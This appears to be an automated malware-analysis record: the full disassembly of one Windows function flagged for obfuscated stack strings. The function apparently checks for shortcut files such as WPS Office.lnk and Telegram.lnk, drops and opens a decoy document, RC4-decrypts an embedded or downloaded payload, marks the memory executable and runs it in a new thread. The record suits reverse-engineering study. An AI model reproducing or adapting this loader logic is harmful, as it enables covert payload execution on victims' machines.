Function at 0x14008e874
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x418]
sub rsp, 0x518
xor r12d, r12d
lea rax, [rsp + 0x70]
mov qword [rbp - 0x50], rax
mov esi, 1
mov dword [rbp + 0x470], esi
lea rax, [rbp - 0x60]
mov byte [rsp + 0x70], 0xce
mov rdi, rcx
mov byte [rsp + 0x71], 0xa2
xor r9d, r9d
mov byte [rsp + 0x72], 0xd0
lea edx, [rsi + 0xf]
mov byte [rsp + 0x73], 0xc5
xor r8d, r8d
mov byte [rsp + 0x74], 0x2e
mov r14d, esi
mov byte [rsp + 0x75], 0x6c
mov byte [rsp + 0x76], 0x6e
mov byte [rsp + 0x77], 0x6b
mov byte [rsp + 0x78], r12b
mov byte [rbp - 0x60], 0x57
mov byte [rbp - 0x5f], 0x50
mov byte [rbp - 0x5e], 0x53
mov byte [rbp - 0x5d], 0x20
mov byte [rbp - 0x5c], 0x4f
mov byte [rbp - 0x5b], 0x66
mov byte [rbp - 0x5a], 0x66
mov byte [rbp - 0x59], 0x69
mov byte [rbp - 0x58], 0x63
mov byte [rbp - 0x57], 0x65
mov byte [rbp - 0x56], 0x2e
mov byte [rbp - 0x55], 0x6c
mov byte [rbp - 0x54], 0x6e
mov byte [rbp - 0x53], 0x6b
mov byte [rbp - 0x52], r12b
mov byte [rbp - 0x80], 0xb6
mov byte [rbp - 0x7f], 0xa4
mov byte [rbp - 0x7e], 0xb6
mov byte [rbp - 0x7d], 0xa4
mov byte [rbp - 0x7c], 0x2e
mov byte [rbp - 0x7b], 0x6c
mov byte [rbp - 0x7a], 0x6e
mov byte [rbp - 0x79], 0x6b
mov byte [rbp - 0x78], r12b
mov byte [rbp - 0x70], 0x54
mov byte [rbp - 0x6f], 0x65
mov byte [rbp - 0x6e], 0x6c
mov byte [rbp - 0x6d], 0x65
mov byte [rbp - 0x6c], 0x67
mov byte [rbp - 0x6b], 0x72
mov byte [rbp - 0x6a], 0x61
mov byte [rbp - 0x69], 0x6d
mov byte [rbp - 0x68], 0x2e
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x80]
mov byte [rbp - 0x67], 0x6c
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x70]
mov byte [rbp - 0x66], 0x6e
mov qword [rbp - 0x38], rax
mov rax, qword [rcx + 0x18]
lea rcx, [rbp + 0x1f0]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov byte [rbp - 0x65], 0x6b
mov byte [rbp - 0x64], r12b
call qword [rax + 8]
test eax, eax
je 0x14008e9b0
lea eax, [rsi + 1]
jmp 0x14008f095
mov rbx, r12
mov cl, byte [rbp + 0x1f0]
lea rax, [rbp + 0xe0]
mov rdx, qword [rbp + rbx*8 - 0x50]
test cl, cl
je 0x14008e9e7
lea r8, [rbp + 0x1f0]
lea r9, [rbp + 0xe0]
sub r8, r9
mov byte [rax], cl
add rax, rsi
mov cl, byte [r8 + rax]
test cl, cl
jne 0x14008e9da
mov byte [rax], 0x5c
add rax, rsi
jmp 0x14008e9f7
mov byte [rax], cl
add rax, rsi
add rdx, rsi
mov cl, byte [rdx]
test cl, cl
jne 0x14008e9ef
mov byte [rax], r12b
lea rcx, [rbp + 0xe0]
mov rax, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov r8d, esi
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [rax + 0x20]
cmp rax, 0xffffffffffffffff
jne 0x14008ea42
add rbx, rsi
cmp rbx, 4
jl 0x14008e9b3
jmp 0x14008ea4c
mov r14d, r12d
mov dword [rbp + 0x470], r12d
mov dword [rsp + 0x50], 0x6e7572
test r14d, r14d
je 0x14008eaa0
mov rax, qword [rdi]
call qword [rax + 0x80]
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x14008ea66
add rax, 0xfffffffffffffffd
lea r8, [rsp + 0x50]
add rax, rcx
sub r8, rax
movzx ecx, byte [rax]
movzx edx, byte [rax + r8]
sub ecx, edx
jne 0x14008ea91
add rax, rsi
test edx, edx
jne 0x14008ea7e
test ecx, ecx
jne 0x14008eb7c
mov dword [rbp + 0x470], r12d
lea rax, [rsp + 0x54]
mov dword [rbp + 0x478], esi
mov qword [rbp - 0x50], rax
mov rsi, r12
lea rax, [rbp + 0x460]
mov dword [rsp + 0x54], 0x78636f64
mov qword [rbp - 0x48], rax
lea rax, [rsp + 0x5c]
mov qword [rbp - 0x40], rax
mov byte [rsp + 0x58], r12b
mov dword [rbp + 0x460], 0x666470
mov dword [rsp + 0x5c], 0x78736c78
mov byte [rsp + 0x60], r12b
mov qword [rsp + 0x48], r12
mov rax, qword [rdi]
mov r8d, 0xa
mov r13, qword [rbp + rsi*8 - 0x50]
xor ecx, ecx
mov rdx, r13
call qword [rax]
mov rbx, rax
test rax, rax
je 0x14008eb62
mov rax, qword [rdi]
mov rdx, rbx
xor ecx, ecx
call qword [rax + 8]
mov r14, rax
test rax, rax
je 0x14008eb62
mov rax, qword [rdi]
mov rdx, rbx
xor ecx, ecx
call qword [rax + 0x10]
mov ebx, eax
test eax, eax
je 0x14008eb62
mov rax, qword [rdi]
mov rcx, r14
call qword [rax + 0x18]
mov r14, rax
test rax, rax
je 0x14008eb62
mov rax, qword [rdi]
mov r9d, 4
mov r8d, 0x3000
mov edx, ebx
xor ecx, ecx
call qword [rax + 0x68]
mov r15, rax
test rax, rax
jne 0x14008eb86
xor r12d, r12d
inc rsi
mov r15, r12
cmp rsi, 3
jl 0x14008eaef
mov eax, dword [rbp + 0x468]
mov dword [rbp + 0x468], eax
jmp 0x14008ebb2
mov eax, 3
jmp 0x14008f095
mov rax, qword [rdi + 8]
mov r8, rbx
mov rdx, r14
mov rcx, r15
call qword [rax]
xor r12d, r12d
mov qword [rsp + 0x48], r13
mov dword [rbp + 0x468], ebx
test r13, r13
je 0x14008ebb2
mov dword [rbp + 0x468], ebx
test ebx, ebx
jne 0x14008ebbe
mov r13d, r12d
mov dword [rbp + 0x470], r12d
jmp 0x14008ebc5
mov r13d, dword [rbp + 0x478]
mov rax, qword [rdi]
lea rdx, [rsp + 0x64]
mov r8d, 0xa
mov dword [rsp + 0x64], 0x41544144
xor ecx, ecx
mov byte [rsp + 0x68], r12b
call qword [rax]
mov rbx, rax
test rax, rax
je 0x14008f090
mov r8, qword [rdi]
mov rdx, rax
xor ecx, ecx
call qword [r8 + 8]
mov r14, rax
test rax, rax
je 0x14008f090
mov r8, qword [rdi]
mov rdx, rbx
xor ecx, ecx
call qword [r8 + 0x10]
mov esi, eax
test eax, eax
je 0x14008f090
mov rdx, qword [rdi]
mov rcx, r14
call qword [rdx + 0x18]
mov rbx, rax
test rax, rax
je 0x14008f090
mov r10, qword [rdi]
mov r9d, 4
mov r8d, 0x3000
mov edx, esi
xor ecx, ecx
call qword [r10 + 0x68]
mov r14, rax
test rax, rax
je 0x14008f090
mov r9, qword [rdi + 8]
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [r9]
test esi, esi
je 0x14008f090
mov word [rsp + 0x40], 0x2e
mov eax, esi
mov r12, r14
test r13d, r13d
je 0x14008ee44
mov rax, qword [rdi]
lea rdx, [rbp + 0x300]
mov r8d, 0x104
xor ecx, ecx
call qword [rax + 0x38]
mov dl, byte [rbp + 0x300]
lea rcx, [rbp + 0x300]
xor r13d, r13d
mov dword [rbp + 0x478], esi
mov ebx, r13d
test dl, dl
je 0x14008ed09
mov dword [rbp + 0x478], esi
mov esi, dword [rbp + 0x468]
inc rcx
cmp dl, 0x5c
mov rax, rcx
cmovne rax, rbx
mov dl, byte [rcx]
mov rbx, rax
test dl, dl
jne 0x14008ecc1
test rax, rax
je 0x14008ed0f
mov dl, byte [rax]
mov rcx, r13
mov r8, rax
test dl, dl
je 0x14008ed12
cmp dl, 0x2e
mov rax, r8
cmovne rax, rcx
inc r8
mov rcx, rax
mov dl, byte [r8]
test dl, dl
jne 0x14008ece8
test rax, rax
je 0x14008ed12
mov byte [rax], r13b
jmp 0x14008ed12
mov esi, dword [rbp + 0x468]
mov rbx, r13
mov rcx, rbx
mov r14d, 1
sub rcx, r14
add rcx, r14
cmp byte [rcx], r13b
jne 0x14008ed1e
lea r8, [rsp + 0x40]
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x14008ed2d
mov rdx, rbx
sub rdx, r14
add rdx, r14
cmp byte [rdx], r13b
jne 0x14008ed41
mov r9, qword [rsp + 0x48]
xor r8d, r8d
mov al, byte [r9 + r8]
mov byte [rdx + r8], al
inc r8
test al, al
jne 0x14008ed51
mov rax, qword [rdi]
lea rdx, [rbp + 0xe0]
mov ecx, 0x104
call qword [rax + 0x40]
test eax, eax
je 0x14008ee3a
lea rcx, [rbp + 0xe0]
sub rcx, r14
add rcx, r14
cmp byte [rcx], r13b
jne 0x14008ed84
xor edx, edx
mov al, byte [rbx + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x14008ed8e
mov rax, qword [rdi]
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [rax + 0x20]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14008ee3a
mov r10, qword [rdi]
lea r9, [rbp + 0x468]
mov r8d, esi
mov dword [rbp + 0x468], r13d
mov rdx, r15
mov dword [rsp + 0x48], 0x6e65706f
mov rcx, rax
mov byte [rsp + 0x4c], r13b
mov qword [rsp + 0x20], r13
call qword [r10 + 0x28]
test eax, eax
je 0x14008ee3a
mov rax, qword [rdi]
mov rcx, rbx
call qword [rax + 0x48]
mov rax, qword [rdi + 0x18]
lea r8, [rbp + 0xe0]
mov dword [rsp + 0x28], 3
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor ecx, ecx
call qword [rax]
mov eax, dword [rbp + 0x478]
jmp 0x14008ee4b
mov eax, 5
jmp 0x14008f095
xor r13d, r13d
lea r14d, [r13 + 1]
cmp dword [rbp + 0x470], r13d
je 0x14008ee5e
mov eax, 6
jmp 0x14008f095
lea r15, [r12 + 0x20]
mov ecx, r13d
lea r10d, [rax - 0x20]
mov rdx, r13
mov r11d, 0x100
mov eax, ecx
mov byte [rbp + rdx - 0x20], cl
and eax, 0x1f
add ecx, r14d
mov al, byte [rax + r12]
mov byte [rbp + rdx + 0xe0], al
add rdx, r14
cmp ecx, r11d
jl 0x14008ee73
mov edx, r13d
mov r8, r13
mov esi, 0xffffff00
mov r12d, 0x800000ff
movzx eax, byte [rbp + r8 + 0xe0]
movzx r9d, byte [rbp + r8 - 0x20]
add edx, eax
add edx, r9d
and edx, r12d
jge 0x14008eec4
sub edx, r14d
or edx, esi
add edx, r14d
movsxd rcx, edx
mov al, byte [rbp + rcx - 0x20]
mov byte [rbp + r8 - 0x20], al
add r8, r14
mov byte [rbp + rcx - 0x20], r9b
cmp r8, r11
jl 0x14008eea3
movsxd r10, r10d
mov r8d, r13d
mov edx, r13d
test r10, r10
jle 0x14008ef42
mov r9, r15
inc r8d
and r8d, r12d
jge 0x14008eeff
sub r8d, r14d
or r8d, esi
add r8d, r14d
movsxd r11, r8d
movzx ebx, byte [rbp + r11 - 0x20]
add edx, ebx
and edx, r12d
jge 0x14008ef17
sub edx, r14d
or edx, esi
add edx, r14d
movsxd rcx, edx
mov al, byte [rbp + rcx - 0x20]
mov byte [rbp + r11 - 0x20], al
mov byte [rbp + rcx - 0x20], bl
movzx ecx, byte [rbp + r11 - 0x20]
add rcx, rbx
movzx eax, cl
mov cl, byte [rbp + rax - 0x20]
xor byte [r9], cl
add r9, r14
sub r10, r14
jne 0x14008eeee
mov rax, qword [rdi + 0x10]
xor r9d, r9d
xor r8d, r8d
mov dword [rbp + 0x468], r13d
mov edx, r14d
mov dword [rbp + 0x470], r13d
xor ecx, ecx
mov dword [rbp + 0x478], 4
mov rsi, r13
mov dword [rsp + 0x20], r13d
call qword [rax]
mov r14, rax
test rax, rax
je 0x14008f043
mov r10, qword [rdi + 0x10]
xor r9d, r9d
mov qword [rsp + 0x28], r13
xor r8d, r8d
mov rdx, r15
mov dword [rsp + 0x20], 0x4000000
mov rcx, rax
call qword [r10 + 8]
mov rbx, rax
test rax, rax
je 0x14008f039
mov r10, qword [rdi + 0x10]
lea r9, [rbp + 0x478]
lea r8, [rbp + 0x468]
mov qword [rsp + 0x20], r13
mov edx, 0x20000005
mov rcx, rax
call qword [r10 + 0x10]
test eax, eax
je 0x14008f02f
mov rax, qword [rdi]
xor ecx, ecx
mov edx, dword [rbp + 0x468]
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [rax + 0x68]
mov r8d, dword [rbp + 0x468]
lea r9, [rbp + 0x470]
mov rsi, rax
mov rcx, rbx
mov rax, qword [rdi + 0x10]
mov rdx, rsi
call qword [rax + 0x18]
test eax, eax
jne 0x14008f01b
cmp dword [rbp + 0x470], r13d
jbe 0x14008f01b
mov rsi, r13
jmp 0x14008f043
mov eax, dword [rbp + 0x468]
mov rcx, rbx
mov dword [rsp + 0x48], eax
mov rax, qword [rdi + 0x10]
call qword [rax + 0x20]
mov rax, qword [rdi + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
mov rax, qword [rdi + 0x10]
mov rcx, r14
call qword [rax + 0x20]
mov rax, qword [rdi]
lea r9, [rbp - 0x30]
mov ebx, dword [rsp + 0x48]
mov r8d, 0x40
mov edx, ebx
mov rcx, rsi
call qword [rax + 0x58]
mov rax, qword [rdi]
mov ecx, 0xbb8
call qword [rax + 0x30]
mov rax, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rsi
mov edx, ebx
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [rax + 0x60]
mov r8, qword [rdi]
or edx, 0xffffffff
mov rcx, rax
call qword [r8 + 0x78]
jmp 0x14008f095
mov eax, 4
add rsp, 0x518
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret